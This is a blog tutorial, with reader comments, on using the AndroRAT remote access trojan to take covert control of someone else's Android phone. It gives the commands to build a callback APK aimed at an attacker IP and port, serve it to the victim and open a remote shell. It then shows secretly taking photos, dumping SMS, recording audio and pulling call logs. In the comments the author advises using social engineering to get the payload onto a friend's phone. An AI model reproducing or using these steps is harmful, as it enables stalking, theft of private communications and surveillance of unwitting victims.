
Hey guys, the article is going to be interesting because in this tutorial we will present you such a (RAT) remote administration tool with the help of which you can easily control someone else’s android smartphone. We think it does not require any other tools that’s why you can control this through third party applications such as termux etc.
Lets install this tool 🙂 !!
Installation
As we have already told you that you can control this tool from android application but in our case we we’ll choose kali linux operating system. Now first of all we will download this tool using git command from github and then go to the directory. We already have the “pip” tool installed, hence we will execute the last command to setup it successfully.
1 2 3 |
git clone https://github.com/karma9874/AndroRAT.git cd AndroRAT/ pip install colorama |

If you are stuck somewhere, you can use the help command to check for missing arguments or attributes.
1 |
python3 androRAT.py --help |

Generate APK
Now we will try our first and try to create the payload using the following command. But change “-i” and “-p” according to yourself.
1 |
python3 androRAT.py --build -i 192.168.1.10 -p 4444 -o security.apk |

Share
As you can see our payload is successfully created without any errors, as well as we take the help of python file service to share our payload with the victim.
1 |
python -m SimpleHTTPServer |

Payload Installation
Now everything is done from the attacking side and as soon as the victim opens the payload they will look like the image below. But it’s an truely undetectable payload.

It’s time to take control of the victim smartphone and for this purposes we have to execute the following command. But change “-i” and “-p” according to you.
1 |
python3 androRAT.py --shell -i 192.168.1.10 -p 4444 |

Remote Shell
As you can see that we have successfully connected to the victim smartphone. But if you have no idea how to control the victim’s smartphone then use the help command.

Device Info
You can check the information of the victim android device by executing the following command.
1 |
deviceInfo |

Camera List
The following command will ask you from which camera you want to take a picture from the victim’s phone.
1 2 |
camList takepic 0 |

As you can see the picture has been successfully clicked from the victim’s phone without her knowledge.

SMS
Similarly you can get all the SMS stored on the victim’s phone by executing the following command.
1 |
getSMS inbox |

The results are in front of you.

Sim Details
As a most useful feature for forensic investigator, through this facilities we can dump the complete details related to the SIM card.
1 |
getSimDetails |

IP and Mac Address
As you can see that we got the IP and MAC address of the victim phone.

Audio
We started audio some time ago and now we execute the follow command to stop the audio recording.

As you can see we have listened to the victim in about 3:34 minutes.

Call Logs
This is the most useful feature of this tool, through which we can get all previous call log details from the victim phone.

Done 🙂 !! You can go to that location and open all the received files.

python file service kya hoti hai bhaiya?
Its is an file sharing feature
Shubham bro whenever I am executing python3 androRat.py –help
This error shows:- python3: can’t open file ‘/data/data/com.termux/files/home/androRat.py’ : [Errno 2] No such file or directory
it will comes Absolutely as you don’t have requirements tools.
So is it possible to hack android phone with termux or not
If it is can u please tell me the tool name from which I can
no ! you should have kali linux.
It says “java: not found”
what os are you using ?
Am on termux
como puedo hacerlo funcionar fuera de la red local
Puede consultar nuestro este artículo para trabajar en una red wan :
https://secnhack.in/how-to-hack-android-phone-over-the-wan/
Dude, you are awesome!
Thanks a lot 🙂 !!
Bro it’s showing java not found I’m using termux?
actually article is made only for kali linux user but still we can use it in termux but for that have to install more tools.
Can you please tell that which tools we have to install for termux
You have to install many tools and even some are not possible.
amazing stuff here, bit how do I get apk to friend phone
Thanks 🙂 !! So basically you need to use some social engineering techniques in order upload payload (apk ) into your friend smartphone.
So basically it all up to you that how you convenience to your friends to install apk.
Exception in thread “main” java.lang.NoClassDefFoundError: sun/misc/BASE64Encoder
at s.Sign.addDigestsToManifest(Sign.java:108)
at s.Sign.sign(Sign.java:454)
at s.Sign.main(Sign.java:532)
Caused by: java.lang.ClassNotFoundException: sun.misc.BASE64Encoder
at java.base/jdk.internal.loader.BuiltinClassLoader.loadClass(BuiltinClassLoader.java:581)
at java.base/jdk.internal.loader.ClassLoaders$AppClassLoader.loadClass(ClassLoaders.java:178)
at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:522)
… 3 more
Sir i have following issue have please try to solve this
so you need to follow our one more article in order to use this kind of tool.
article – https://secnhack.in/perfectly-inject-a-payload-in-an-original-facebook-apk/
python3 androRAT.py –build -i 192.168.1.10 -p 4444 -o security.apk
Traceback (most recent call last):
File “androRAT.py”, line 1, in
from utils import *
File “/home/kali/Downloads/AndroRAT/utils.py”, line 12, in
from pyngrok import ngrok
ModuleNotFoundError: No module named ‘pyngrok’
Sorry for late rply 🙁 !! so in order to remove this error permanently, you have to install some tools that mentioned in the following article.
check article : https://secnhack.in/full-undetectable-android-payload-rat-tool/
this is the error coming
[INFO] Generating APK
Traceback (most recent call last):
File “/home/devender/AndroRAT/androRAT.py”, line 39, in
build(args.ip,port_,args.output,False,None)
File “/home/devender/AndroRAT/utils.py”, line 374, in build
while t.isAlive(): animate(“Building APK “)
AttributeError: ‘Thread’ object has no attribute ‘isAlive’